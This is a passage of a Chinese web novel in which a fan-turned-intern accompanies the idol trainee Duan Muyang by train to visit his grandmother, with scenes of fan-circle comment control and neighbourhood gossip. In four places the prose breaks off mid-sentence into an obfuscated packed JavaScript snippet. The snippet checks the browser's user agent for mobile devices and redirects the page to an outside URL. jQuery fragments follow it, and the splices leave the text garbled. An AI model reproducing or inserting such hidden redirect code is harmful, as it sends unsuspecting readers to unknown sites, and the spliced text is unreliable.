他有些迷茫地实话实说:“吃过药了。” 邹意压低帽檐,拍了拍他的肩膀,像是打气,她表情严肃,神色真挚地告诉段暮炀:“喂!小段要打起精神,你小邹姐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309394|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢!” 效果显著,段暮炀笑了下,邹意说完自己又不好意思了,扭过头偷笑,然后又恢复正经的模样。 她抬起脚,鞋子点了两下地板,用随意的姿态和语气,像朋友一样轻松地问:“段暮炀,回家为什么紧张呢?” 段暮炀的瞳仁很黑,思考的时候会有轻微的虚焦,但却很亮,他有些犹豫,然后这样说:“我心态差吧。” 邹意是那种不委屈自己的人,秉持着舒服自己恶心他人的人生观活到至今,听爸妈讲过,她小时候锱铢必较,性格很烈,是那种被狗咬一口都要咬回去的人,所以受委屈了,想的是反击而不是内耗。 这种态度让她也见不得段暮炀妄自菲薄,该死的天环,把好好的人PUA成什么样了,再自信的人,被这样雪藏,都要出问题。 邹意那点三脚猫安慰人的水准,实在讲不出什么大道理,性子又急:“谁说的啊!你那么小就进公司了,坚持到现在已经很不容易,你看看你同期还有多少个留下来的,而且你也没有架子,那些后辈都不跟你打招呼你都不生气,能不能清醒一点,你已经很厉害了!又有自作曲,虽然狗屁天环压着不肯发,但是已经比其他人好很多了,你心态哪里不好了,生病的人都对自己这么苛刻,那我们还要不要生活了!” 邹意就这样讲讲讲,语速越来越快,最后甚至把脸都说红,全身都热起来。 段暮炀就隔着一层口罩,睁着眼睛看她,也不回应,就是看着她,邹意看见他黑色瞳孔里面那个气急败坏、滑稽的自己,心里赌气。 她有些发脾气一样地用脚尖踢了一下段暮炀的鞋,“你哑巴了?我说了这么多,都不理我一下!”她小声骂。 然后邹意看见段暮炀眼睛弯了下,有点温柔地说,“谢谢。” 邹意天都塌了,她讲这么多就是为了听一句谢谢?他到底知不知道重点啊,不要再觉得自己哪哪都不好了! 邹意继续确认:“谢我什么,小段请详细解释!” 段暮炀就像刚刚邹意拍他的肩膀那样,也拍了拍邹意的肩膀,夏天穿的衣服少,手掌的热量透过一层短袖的布料,好像有些发烫,邹意顿了顿,有点不自然,想摸一下肩膀,但是不敢。 然后他听见段暮炀用有些低的声音对她说:“谢谢你夸我。”他的表情很真诚,语气中却有得逞的意味。让邹意有些分不清楚,她是被耍了吗? 12.第十二章 35. 回段暮炀老家的高铁一天只有两班,由于是临时决定的,票已经不多,没有订到可以连坐的票。 邹意和段暮炀,一个在05车,一个在12车,需要分开坐。邹意心里面盘算着,其实换个座,也不是很难,而且她的位置是靠窗,跟别人换应该会同意。 但是分开坐也没什么,就几个小时,换座说到底还是挺麻烦的,而且她主动换,就很奇怪,好像非得坐一起一样。 邹意检票入站的时候,一直在想这件事,入神到身份证都拿错了,拿成一张其他卡,刷个半天。 丢死人了…… 段暮炀拎着她的包,好像也没有要还给她的意思,如果不坐一起,那邹意是不是得把包拿回来,她的平板还在里面,几小时呢,虽然说出来了,但依然是工作日,她可以线上办公,不然堆到后面活一样要干。 邹意跟着人群上电梯,段暮炀跟在她后面,扶梯突然有些骚动,后面有个人冲上来,说自己赶不上车了求大家让让,密集的人流中涌入一个自带加速度的人,那个人经过邹意的时候,行李箱不小心磕到了她的腿。 邹意下意识地躲了下,重心有些不稳,晃了晃身子,发出一声惊呼。 然后一双手搭住了邹意的肩膀,像固定住一样帮她稳了重心。 扶梯很长,周围有嘈杂的打电话声,前面的人手里提着红色纸盒包装的伴手礼,远处是高铁飞驰而过的滑轨音,若有似无的金属味悬浮在空气中。 心跳得有点快,肩膀上双手的重量很重,像石头压住河流,又很轻,像蝴蝶停在棉花上。还好进站口足够吵,邹意偷偷吐了一口气,像是要把不合时宜的紧张像气球放气一样,从体内彻底排出。 扶梯快到底端,最下面的两格已经开始变平,履带又进入一个新的轮回。 邹意挪了挪脚尖,侧过头看见段暮炀的下巴和脖子上的痣,不敢抬眼看他眼睛,人实在太多了,段暮炀在她上面一格,就这样搭住她肩膀,邹意发觉,自己的耳侧能感受到段暮炀温热的鼻息。 邹意看自己的脚尖,若无其事点开手机屏幕,像告知一样告诉段暮炀:“小段!我在05车,我们没在一个车!”她把一只手放在嘴边,用只有两个人能听得见的音量说。 段暮炀弯一点腰听,然后手指动了一下,点了邹意的肩膀,一、二、三……一共三下,然后在她身后说:“好。” 邹意几乎一瞬间就全身僵硬,段暮炀的声音好像从她的后脑勺传到脚尖,她感觉自己的后脖子已经起了鸡皮疙瘩,天知道她之前是把段暮炀的语音做成音频放在床缝里循环播放助眠的。 谁来管管追星女的死活啊,这太近了真的太近了她要窒息了。 感官上的震撼已经超越了理性,邹意都没搞懂“好”是啥意思,就是他知道,所以不换座对吗,那邹意要主动把包拿回来吗? 扶梯终于抵达平地,邹意怀疑自己刚下电梯那几步是顺拐的,回头一看,这电梯真的长得要命了,感觉过了一个世纪。 05车就到了,邹意眨了眨眼睛,朝段暮炀伸手要包:“去吧,小段,等会儿再见!” 段暮炀的表情停滞了一下,有点缓慢地把手里的包递给邹意,明明只是一个再普通不过的多功能电脑包,段暮炀的样子像交出了什么稀有皮爱马仕。 邹意接过包的时候,指缘擦过段暮炀的手,那一小块皮肤又开始热起来,妈呀真是奇了怪了,段暮炀这家伙身上带火吗,怎么一碰到就热热的。 邹意不自然地腾出一只手扇了两下风,眼睛往段暮炀那个车厢的方向瞟,很爽朗地说:“你位置在那。” 话说出口就觉得奇怪,段暮炀看她的眼神更怪了。 “我知道。”段暮炀提了一下自己的双肩包带子,但是脚却没有挪动半步。 邹意不知道什么原因现在不敢跟他对视,只想赶紧进有冷气的地方灌几口冰水,所以一开口就像赶走流浪狗一样赶段暮炀:“好了,你走吧。” 段暮炀不知道为什么要在现在把黑色口罩摘了,慢条斯理地放进兜里,现在邹意能看到他整张脸了。 他好看的唇形一张一合,说话的时候嘴角的弧度很合适,即便是低沉的语气却仍像富有感情。 “我以为你让我换座。”段暮炀说。 邹意感觉自己的眼前出现一团小火花,小火花飘出一些焦味儿,她有点生理性想咳嗽。三十六度的嘴怎么能说出如此冰冷的话,小段你反了! “我我我…我哪里…你哪只耳朵听见了……我什么时候让你换座了!”邹意眨眼的频率有些快,而且突然觉得自己的电脑包确实很重,段暮炀提那么一路,手会不会酸。 “哦,好吧,我懂了。”段暮炀像是无奈地撇了撇嘴角,侧身往他的12车厢走去。 邹意彻底乱了,“好吧”,好吧是什么意思?她也没不让啊,刚才那个表情什么意思,她没有嫌弃的意思,段暮炀又懂了什么,邹意自己都没懂。她会不会被正主开除粉籍啊?!挂黑处理还是就地割席? 不知道出于什么,总之邹意当时拉了段暮炀的手腕,在人很多的车站,她拉了一下段暮炀的手腕。 像是触电一般的理智回笼,她很快就松开,压低了自己的帽子,仿佛把全身都放到安全距离。 然后低着头小声骂:“喂!公司有规定,艺人出行工作人员要陪同的,咳咳,嗯,等会你问问我旁边的人,看看他愿不愿意跟你换座。” 段暮炀回头看她,嘴角一侧弯起弧度,黑色头发因为背光照得有些发金,喉结上下滚动了一下。“嗯,行吧。”段暮炀说。 邹意没反应过来,手里的重量一空,段暮炀又接过那个电脑包,长腿迈了几步,上车了。 邹意跟着他后面,有些一愣一愣的,她还抬头确认了一下车厢号,是她的05车厢没错。 邹意摸了摸自己的后脖子,总觉得有些奇怪的诡异,段暮炀,他是不是装的啊?! 36. 出门在外,长得好看是永远流行的通货,坐在邹意旁边的是一个女孩子,段暮炀刚开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311286|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,那个女孩子就高兴地同意了换座,走的时候还频频回头看段暮炀,边看边打字,感觉在跟朋友分享自己高铁上偶遇帅哥的事情。 邹意看得十分欣慰,一直憋着笑,再没有什么比自担的颜值受到大众认可更值得高兴的事情了。儿子的容貌,妈妈的骄傲!爽了。 邹意光自己爽不够,她一向憋不住,侧着头跟段暮炀说:“看到没有,你的脸还是很有说服力的,刚刚那个女生,还一直回头看你。”邹意简直表演了一个喜笑颜开,捂嘴笑个不停。 可段暮炀的情绪并没有很容易被邹意这种打心里的开心感染,他只是淡淡地说了一句:“是吗?我没注意到。” 邹意开始有点想念刘小樱了,有些事情只有同担能get到,就算正主在自己面前,这种喜悦还是不一样的,跟同担一起在聊天框里大吹逼,是人生一大乐事。 邹意想起来以前她们舞过的一些人设,“脸蛋天才六男一段暮炀”“世界级的审美统一”“我们不是小众神颜,是客观的帅”哎呦,这些话是不能说给正主听的,这没意思。 邹意笑得摇头,“唉,你不懂,我们追星女很容易满足的。” 段暮炀应该是听不懂饭圈用语,有些疑惑地问邹意:“别人看我,你开心成这样吗?” 邹意用力地点头,仿佛见到了大美同担一样认亲,“当然了!这是对我眼光的认可啊!” 段暮炀的表情更意味深长了,可能邹意的热情吓到他,他只是嗯了一声,就没再说话。 邹意被激励到了,打开平板,刚登上微博,就看见控评群里的新消息,又有营销号转发天环的练习生介绍视频了。 这种大营销号转发,控评热三很难抢,号的权重决定上不上得了前排,上赞的速度和楼内评论决定上不上得了前十,邹意从无败绩,养号千日,用号一时,天天搞一些没有的养号日常就是为了该死的权重。 邹意从剪贴板里挑了一段控评文案,挑了一张段暮炀的路透图,文案是早已经编辑好的,照片是精挑细选过方便吸新粉的,一些就绪,点击评论。 然后手机转发链接到几个小群,大上赞马上就来了,稳稳地上了控评前排。 邹意欣赏了一下控评文案——“如果萌是一种天赋,那我段暮炀是天赋异禀【emoji】【emoji】如果萌是一种天赋,那我段暮炀是天赋异禀【emoji】【emoji】如果萌是一种天赋,那我段暮炀是天赋异禀【emoji】【emoji】如果萌是一种天赋,那我段暮炀是天赋异禀【emoji】【emoji】” 很好,很直观。 邹意不知道段暮炀什么时候凑过来的,刚一回头,就看见段暮炀眼睛看着她摊开的平板,页面还是刚刚的控评文案。 段暮炀摸了下鼻子说:“啊……这在说我的吗?” 邹意的耳边像有子弹穿过,她卖力地把头挪过去,想要砰地一下消失在人间。 “咳咳咳咳咳咳咳!”邹意火急火燎地把平板合上。“不不不不不不…不是!” 13.第十三章 37. 下了动车之后,邹意先陪着段暮炀去了当地的百货商店买带回家的东西。 邹意看段暮炀轻车熟路的样子,心说他还挺会挑的,买的东西,不管是吃的用的,都是品质最好的,当然价格也不便宜。 明明自己是一个月要打不止一份零工的人,还这么大手大脚花钱,有种火了八百年老艺术家的松弛感。 邹意突然有了一些疑问,其实天环的全职练习生是有工资的,而且并不算低,城市职工最低标准肯定有,而且为了培养练习生的衣品和审美,还有各种补贴让他们购物,有规定不能连续两天以上穿同一件外套,怕被粉丝或者路人拍到。所以过得虽然算不上富裕,但一定不至于不拮据。 猜都不用猜了,段暮炀肯定是一个月到头来,把那些工资全都打给外婆了。 邹意像个小跟班一样跟在段暮炀旁边,他也没让她推购物车,就这么跟着,邹意默默计算全部的价格,心里面有点怪怪的。 不知道出于什么原因,她问了段暮炀:“小段小段,我说万一啊,万一不当明星,不出道了,你会去做什么?” 段暮炀会的东西挺多,能唱能跳,还会乐器,会写歌创作,走幕后应该也可以,实在不行就去当模特,有这张脸,不靠脸吃饭真的会吃亏。邹意在脑子里设想了很多段暮炀其他的出路。 然后邹意说:“我觉得你干别的也挺适合的!” 但是段暮炀皱了下眉,自嘲了一下又坦荡说出:“沉没成本太高了,回不了头了。” 仿佛看到一股滞涩的水流,因为被投入了过多的小石子,所以连往前流动都觉得艰难。 邹意没有想到段暮炀会这么直接,大多数人会不愿意面对自己能力的局限或者付出努力的浪费,因为完美的胜利,需要结果成功,过程也十足漂亮,大家偏爱赢得轻松,只付出三四成努力就胜利的天赋怪是最让人羡慕的。 然而段暮炀目前,只有一眼望不到头的结果,当然努力的过程,回头一看,已经看不清起点的模样,他走了太远的路了。 段暮炀没有因为这个话题沉默,而是坦诚地剖开自己:“我很小就进公司,人际已经固化在那里,培养的技能只停留在这个行业,太多年了,我不知道,我除了这个,还能去干什么。” 邹意觉得有些无力,因为她甚至认为段暮炀说得有道理,如果是现在的就业市场,破圈想拿到一个好的offer,应该比登天还难,面临的竞争者也是跟段暮炀一样在某个领域深耕很多年的,每个人都不简单。 邹意换了个角度,有些天真地说:“你可以去念书啊,继续深造嘛!” 段暮炀轻轻摇了摇头,也像是劝自己:“我没有这个脸继续浪费时间了。” 邹意羞愧地眼神瞟开,她想得太简单了,段暮炀是一个连每个月练习生工资都不会给自己留的人,而且还有心理疾病史,七年的时间,足以让一个人彻底与某种人生脱节,段暮炀没有办法、没有这个机会、也无法说服自己,停下来喘口气。 邹意心里千头万绪,话到嘴边就变成:“段暮炀我真的信你。” 我真的信你。信你不管怎么样,都会成功,不管要花多久,走多远的路,都能获得幸福,信你可以克服困难,留在这个世界很久很久。 段暮炀拿东西的手滞空了一下,好像觉察到邹意的情绪,掏了掏口袋,拿出不知道什么时候准备的一根棒棒糖,像是哄人一样,敲了敲邹意搭在购物车上的手。 “我知道啊,小朋友才比较容易相信人。”段暮炀又驴唇不对马嘴地不知道讲了一句什么。 邹意只听见什么?小什么?小朋友?哇去啊不要命了小段! 有点湿润的眼睛瞬间把眼泪憋回去了,邹意结果那根棒棒糖,戳戳段暮炀的肩膀,努了努嘴,又不计较地放平嘴角小声嘀咕:“比我大两岁了不起啊,谁是什么小朋友,小段真是的,越来越没礼貌了!”邹意越讲越小声像在自言自语:“以前不是还叫小邹姐的吗?这辈分都差多少了…” 她没注意到段暮炀停下来盯了她许久,眼里带笑但语气平淡:“你说什么?” 邹意心里有点毛毛的,段暮炀这个人有时候怎么总阴森森的,果然在天环待久了,腌入味了,一肚子坏心思呢! “没有!我哼曲子呢!”邹意站直身体讲。 38. 段暮炀外婆的家离市中心还有一段,他们是打车过去的,礼品放在后备箱,车子每拐一个弯,就能听到礼盒的角磕到的声音。 他们下高铁的时候已经是五点左右,现在天暗下来了,没有多少云,天空是夕阳即将彻底散去的灰蓝色,空气中有股淡淡的清香,是开发暂时没有过度的小城市专属。 在一下一下沉闷的敲击声里,段暮炀的情绪又慢慢地紧绷起来。 就像因为觉得水流行驶得过于缓慢,所以揠苗助长地加入一些其他液体,想让水流不要那么辛苦,可是却因为水质不同,引发了排斥效应,水流的活力正在减弱。 汽车拐进一条两边种满了木棉树的巷子,火红的木棉花掉在了地上,仿佛也能将天空染红。 路过的行人不是很多,邹意透过车窗,看见三四个穿着校服的学生,拍着篮球,说说笑笑的往巷子深处走,远处有一个穿着围裙的女人笑着朝他们招手。 汽车最后停在导航的终点处。 “我们到了。”段暮炀拽了拽书包带子,开门下车。 邹意莫名也跟着紧张起来,虽然无法完全清楚,为什么段暮炀回一趟家,会这样有心理压力,但是情绪也不受控制地传染,她学着段暮炀的样子,也捏了一下自己的电脑包带,好像在解压。 段暮炀走进去的时候,突然停了一下,然后他打开了自己的书包,把内层的几瓶药拿出来,放到自己的口袋里,因为害怕外婆不小心翻到。 邹意眼眶有点发酸,摸了摸头发也装作没看见他这个动作。 39. 大门被打理得很好,金属色虽然已经暗下来,但是完全没有锈蚀,光线照到的时候甚至有些发亮,门口地上掉落的红色木棉花,也像是摆放讲究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311886|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用作装饰用途。 走近一些就能听到老太太们聊天的声音。 ——“茹儿,听说没啊,隔壁那家的孙子现在年薪过百万了,刚给老李提了新车,让他开着去兜风儿呢!” ——“对啊,晓茹,老李家的孙子,是不是就比你孙子大几岁啊,现在倒是混出头了,以前长得像颗土皮球,现在孩子都怀上了,老李一家都等着抱曾孙了。” ——“唉,车子有什么用啦,我又不会开哦,白给我我也不要,孩子我更不想带,闹腾得慌!” ——“你这话说的,怎么说也是人家孝心一片,你就是改不了这毛病,吃不到葡萄就说葡萄酸。” ——“干嘛,我不爱吃葡萄,当然嫌酸。” ——“切,茹你就嘴硬吧,你看看人家孙子再看看你的,亲的果然就不一样,你那个养孙子,多久没回来了,摆什么架子呢!” ——“就是啊,你以前不是说,你孙子马上当大明星了,现在赚了大钱就把你忘了啊,不知道养了有什么用。” ——“喂!你们说什么呢!我孙子在那边请假太麻烦了!我不让他回来的,瞎说啥呢真是的。” ——“哦,这样啊,你孙子当明星了是吧,连家都不能回咯,顺便把你这个不亲的外婆也忘了,长得俊有什么用,按我说还不如老李家的孙子,那车子还是跑车哦,我一辈子都没见过跑车呢。” ——“是啊,唉,现在的年轻人我们也不懂,隔代亲更是不可能的,你孙子还没阿爸阿妈,飞出去了自由了,当然想不到你了。” ——“你你你你你…你们再说,以后别找我打牌、” 林晓茹的话戛然而止,旁边几位阿姨诧异的看着她,“怎么不说话了?真生气啦?” 然后顺着林晓茹的目光看过来,邹意差点要冒出冷汗,太紧张了。 沉默了一秒、两秒、三秒。 作为刚刚聊天话题的主角段暮炀率先开口:“阿嬷,我回来了。” 林晓茹有点不敢相信一样地眨了两下眼睛像是确认,周围几个阿姨有些尴尬地微笑,表情僵硬得有些可爱。 然后林晓茹女士猛地站起来,伴随着颤抖的声音小步走过来:“哎呦!哎呦哎呦!小炀回来了!小炀回来了啊,怎么不跟阿嬷说,阿嬷去接你啊!” 林晓茹女士边走向段暮炀还要边回头对刚刚几个阿姨使眼色,像是在得意也像是警告:“你们看看!看看!” 邹意就这样提着伴手礼,目睹了这一切。 是了,没关系的。再别扭的情绪,再大的压力,再浓烈的不安,看到这一幕大概都是值得的。 看到阿嬷高兴很值得,给阿嬷挣面子值得,发现阿嬷白头发更多了值得,闻到阿嬷身上让人安心的味道值得。这些东西会久久留在段暮炀心中,尽力地抚平他心里的褶皱。 亲人就是到哪里都是亲人,会无条件保护和偏爱,即使不符合世人所谓成功的标准,但在林晓茹心里,那个她从孤儿院里捞出来的,从小就会大声唱儿歌的小孩,自始至终,都是最棒的。 14.第十四章 40. 粉圈里有一个词叫做毒奶。顾名思义,就是通过不切实际,夸大化的褒奖,在各大平台刷一些败坏路人缘的评论,同时也助力对家起到一个要什么没什么的效果。 举个例子,大概是邹意开一个小号批皮袁子凡死忠粉,在各大测评视频里面发评论——“我凡出道了包六男一吧”“我凡这个颜值门面出道不为过吧,队里还有谁打得过?”“听说我凡能唱,不是那种大白嗓,跳舞也不错,有没有可能是ace啊”“六代top预定了,顶流我们来了” 豆瓣有一句话叫,爱他就让他消失在豆瓣。大部分的嘲组或者萌组,乐子人占比都不会很高,大多是带有粉籍的批皮在里面潜伏,带节奏或者是翻炒,曾经段暮炀有非常多辱追粉,很喜欢在豆瓣萌组里时不时毒奶一下,发一些红帖尬夸,邹意都看不下去。 已经不知道建设过多少个踩踩楼了——“来,帮我们小段踩踩,福气降临” 毒奶这个词,还有另外一个通俗的叫法——捧杀。再有经验的大粉也有带不了的节奏,这次是邹意没做过应急预案的。 邹意心里擂鼓大作,姨姨们嘴下留情,她就这么一个本命,可别给奶死了啊!!!! 41. ——“哎呦小段来了!我们大明星来了呀!快给姨说说,当大明星什么感觉啊?” 段暮炀尴尬地笑了笑,还没开口解释就被打断。 ——“小段啊,你给姨签个名儿呗,我前阵子听说那个…那个谁来着,一张签名照,大几千呢!” ——“哎呦喂!土不土啊,什么那个谁啊,人家叫周洁伦!” ——“诶,对对对!来,小段你的签名照多少钱一张呀,告诉姨!” 段暮炀已经愣住。 ——“小段啊,我听说你们当明星,饭都吃不饱,觉也不够睡,真的假的呀,这么严格吗?” 邹意心说终于有一句能听的了,可段暮炀说:“没有的事,姨。” ——“小段啊,我们一直念叨你呢,想着你发大财了赚大钱了,住到大城市了,买大房子了,就把我们都忘了,我们小时候都抱过你呢!” “没忘…没忘。” 邹意已经替段暮炀窒息了。姨姨们可能收到感应,突然把目光和话题转向邹意。 “小段,这女娃娃是谁啊?”有个阿姨问段暮炀,眼睛跟邹意对视上。 邹意礼貌地点了下头,也不知道为什么,反正就是直接说出了:“阿姨好!外婆好!我是段暮炀的助理。” 可能她还是有那种,我担的脸面就是我的脸面的心理,知道段暮炀是在被捧杀,但还是不想让他掉面的一名十分虚荣的粉丝。 段暮炀在阿姨们的目光中回头看邹意,眼神有了一些疑问和诧异,邹意朝他使了个眼色,意思是—“没关系!就这样演!”她表演助理也挺在行的倒是。 可段暮炀回过头跟她们解释:“她叫邹意,不是助理,是公司的实习生,我拜托她陪我过来一趟。” 阿姨们听到这句话,像是嗅出一些八卦的意味,开始打量邹意,把邹意看得有些窘迫。 进屋里端绿豆汤的林晓茹出来了,“喂,你们围那儿干嘛呢,把我家小炀当猴玩儿呢,小炀过来,阿嬷煮了绿豆汤,那个女孩儿也来,阿嬷盛了两份!” 邹意都感动了,果然林晓茹女士把他们从尴尬中救出来,阿姨们站着聊了会儿天,也就散了。 42. 这是邹意第一次见段暮炀的外婆林晓茹,以前都是只看一些模糊的照片,或者是笼统的采访描述之类的,从没有亲眼见过。 也许是早有印象,知道一些她跟段暮炀的故事,所以邹意捧着绿豆汤,莫名感觉很亲切。 林晓茹是个健谈的人,但太久没见到孙子了,更像是什么话到了心口就讲不出来,一个劲地看着段暮炀的脸,有一些皱纹的手搭在段暮炀肩膀上,一下一下地,像是拍小孩子背哄睡那样。 那天,天色有些暗了,小城市空气好,能看到很多星星,像嵌在黑色里的钻石,很亮,光线明显又柔和。 林晓茹像是酝酿了许久,挑挑拣拣问了一句:“小炀啊,你林阿姨说的是真的吗,在那边,吃不饱吗?吃不饱跟阿嬷说啊,阿嬷现在会寄快递了,给你寄好吃的,啊。” 林晓茹的声音很温和,像是那种旧收音机里能听到的女歌唱家的声音。 邹意鼻子一酸,把脸更埋进绿豆汤的汤碗,想把眼泪滴进去,不要被发现。 段暮炀也没有回答,邹意看见他的手正在攥紧自己的裤腿,这谁忍得住啊。 冲锋陷阵的豪情壮志又上来了,邹意在心里叹了一口气,然后调整声音,用至少不悲伤的语气对林晓茹说:“没有,外婆,我们公司食堂条件挺好的,饿不着,就是没有这么好喝的绿豆汤而已。” 林晓茹一听乐了:“真的呀?” 邹意吃到甜头,继续夸:“当然了!在外面根本喝不到这么好喝的,不是太甜了就是绿豆不够软,外婆你手艺真好!” 邹意最甜,从小到大也受长辈喜欢,讨好林晓茹这种和蔼的老太太不在话下,她余光瞟了一眼段暮炀的眼睛,确认他调整好情绪,松了一口气。 可林晓茹也是感情丰富的老太太,邹意一不注意,她就开始说掏心窝子的话了。 果然,自己的孙子过得好不好,自己看得清楚,其他人捧杀式地施压,林晓茹也看得明白,心里面偷偷地心疼孙子受苦了。 “小炀啊,听阿嬷的话,心里有什么事情,不要一个人憋着,累了就回阿嬷这里,别管那些人说什么,在阿嬷眼里,你还是小孩呢!知道没有哦。”林晓茹这样说。 绿豆汤已经被邹意喝完了,眼泪不知道要滴到哪里,邹意快速地抹了一下,感觉没人发现。 段暮炀的手指已经摁得发红,被林晓茹放在屋子里的一大堆伴手礼摆放得整整齐齐,桌子旁边摆着一盘看起来是刚切好的新鲜西瓜。 “阿嬷,对不起。”段暮炀用有点哑的声音,跟林晓茹道歉。 邹意有点懂他,他在自责,在怪自己,浪费了七年的时间没有让外婆过上好生活,让外婆在聊天里丢了面子,怪自己让外婆辛苦了。 老人是最听不得这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311887|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种话的,林晓茹一听眼睛也红了,揉了下段暮炀的头,埋怨地说:“说什么呢这傻孩子,白捡一个长这么帅气的大孙子,阿嬷开心还来不及,讲什么对不起,跟阿嬷这么生疏,阿嬷要伤心的,知道没!” 段暮炀可能无法给出什么承诺,因为他也被欺骗过很多次,失望太多次的人会对承诺更谨慎,所以他告诉林晓茹:“阿嬷,你信我吧。” 不是什么别的话,只是简简单单一句相信。 林晓茹笑得眉眼弯弯,她说:“废话,阿嬷一直信啊!不然就不会捡你这个机灵鬼回家咯!” 43. 那天晚上,夜深时候,邹意因为第一次到陌生的城市,加上认床,没能睡着。 她不知道段暮炀睡没睡着,也不好发信息问他,本来睡眠就浅,万一好不容易在家睡个安稳觉又被她吵醒就不好了。 邹意连了网监控了一下粉圈,倒是挺安生的,没有什么建得起高楼的嘲帖,看来最近粉丝学聪明些了,不会那么容易就咬直钩,散粉也更有经验,邹意没在,也能自己把节奏带起来了。 邹意躺在床上,打开了一半的窗户看院子里的木棉花树和天上的星星,突然很感慨,很希望所有人都能长命百岁。 突然有一些杂音从外面传来,邹意竖起耳朵听了一下,好像是厨房灶台那里的声音。 担心是什么奇怪的人进来了还是什么,邹意披上了外套,下床出了房间。 44. 厨房里,昏黄的灯光下,一把陈旧的电扇转啊转,时不时发出一些咯吱咯吱的摩擦声。 林晓茹带着金色边框的老花镜,穿着小碎花的围裙,正在忙碌地做菜。 邹意走近了林晓茹才侧过头,挪了下眼镜,对邹意笑了笑:“你来啦,小意。” “外婆,这么晚了,您怎么不休息,忙活什么呢?”邹意看到水池旁边准备好的食材,和一些制作一半的熟食,还有洗完放在桌上的保温桶。她在准备明天让段暮炀带回宿舍的东西。 “谢谢你啊,小意。”林晓茹突然说。 邹意连忙摇头:“谢什么呀,外婆,我没做什么。” 林晓茹把切菜的刀放下,洗了一下手,揽着邹意的肩膀,到院子里的长椅坐下。 “外婆,怎么了?”邹意轻声问。 林晓茹拿出来一张卡,“小意啊,外婆可以拜托你一件事吗?” 邹意看到银行卡,有点吓一跳,脑子里设想了一些可能,又一一排除。 林晓茹很平静地说:“这是小炀这几年寄回来的钱,我都没动,我知道这孩子报喜不报忧,怕他在外面过得辛苦,又是倔脾气,直接还给他,他肯定不愿意拿,小意,你帮阿嬷找个机会,还给他。” 邹意有些着急:“阿嬷,不行的不行的,我不能帮段暮炀收下,其实…其实你不知道,我顶多算他的同事,他要是知道我替他收下了,会生气的。” 林晓茹笑了一下,手掌心摸了一下邹意的手背,有一些薄茧的掌心格外温暖。 “小炀不会跟你生气的,我的孙子我知道,他喜欢你。”林晓茹这样说。 15.第十五章 45. 请的假只有一天,只够住一晚,仿佛刚见面就在为离别做准备,就像以前邹意每次去见段暮炀一样。 都说追星有戒断的时间,看完一场演唱会之后的恍惚要用一整个星期来治愈。 从抢到票到定好酒店,到思考化什么妆容穿什么衣服,再到去现场,回来之后还要修图出视频出reaction,最后要给粉圈产出,训粉固粉。追星就是这样,总是容易分不清楚重点,许多时候就是在自我感动。 因为见面的时间好短,所以得靠其他事情维持热情。 听了林晓茹的话,邹意彻底失眠了。邹意确实去到哪里都不会容易被人讨厌,因为她是那种会哄着人讲话的类型,即使不是真心的,但是会让大部分人舒服。 曾经也有不少人说过喜欢她的个性喜欢她的性格。就像在社交中成为一个逗号作用的“宝宝”一样,当这种亲密的词成为可以脱口而出的语言,喜欢的分量好像也就是一个不讨厌的程度。 邹意说服自己不要想多,切勿自我感动,这太危险了,搞不好要毁了段暮炀的事业的。 都说做爱豆要有豆德,就算有在约会的对象或者有女朋友男朋友都要藏好,因为不可能不谈的原因,粉丝一般会把标准放低到——只要不让我发现,我就可以一直为你花钱。 邹意混过很多属性的粉圈,妈粉和梦女粉的群体是粉圈构成的两大巨头,妈粉擅长大溺爱大捂嘴,就算扒出来什么黑料,妈粉也会尽力捂住,而且容易出战斗粉,双商在线。梦女粉则是一大把一大把真金白银地砸,这里面签售姐占了大头,肯跑线下或者每次签售都全勤的,大概率是梦女粉。 邹意也有一段时间加了一个梦女粉小组,里面每天晚上都有一个午夜场的帖子,几个管理员在里面建设梦女文。 当然,梦女粉一旦破防或者大规模脱粉,那这个爱豆差不多也可以收拾收拾回家了,以站姐挂黑头像为信号,几大联站官宣关站,过不了多久,就会被投稿到厕所或者嫂站,搞不好还会当上脱粉回踩站长。 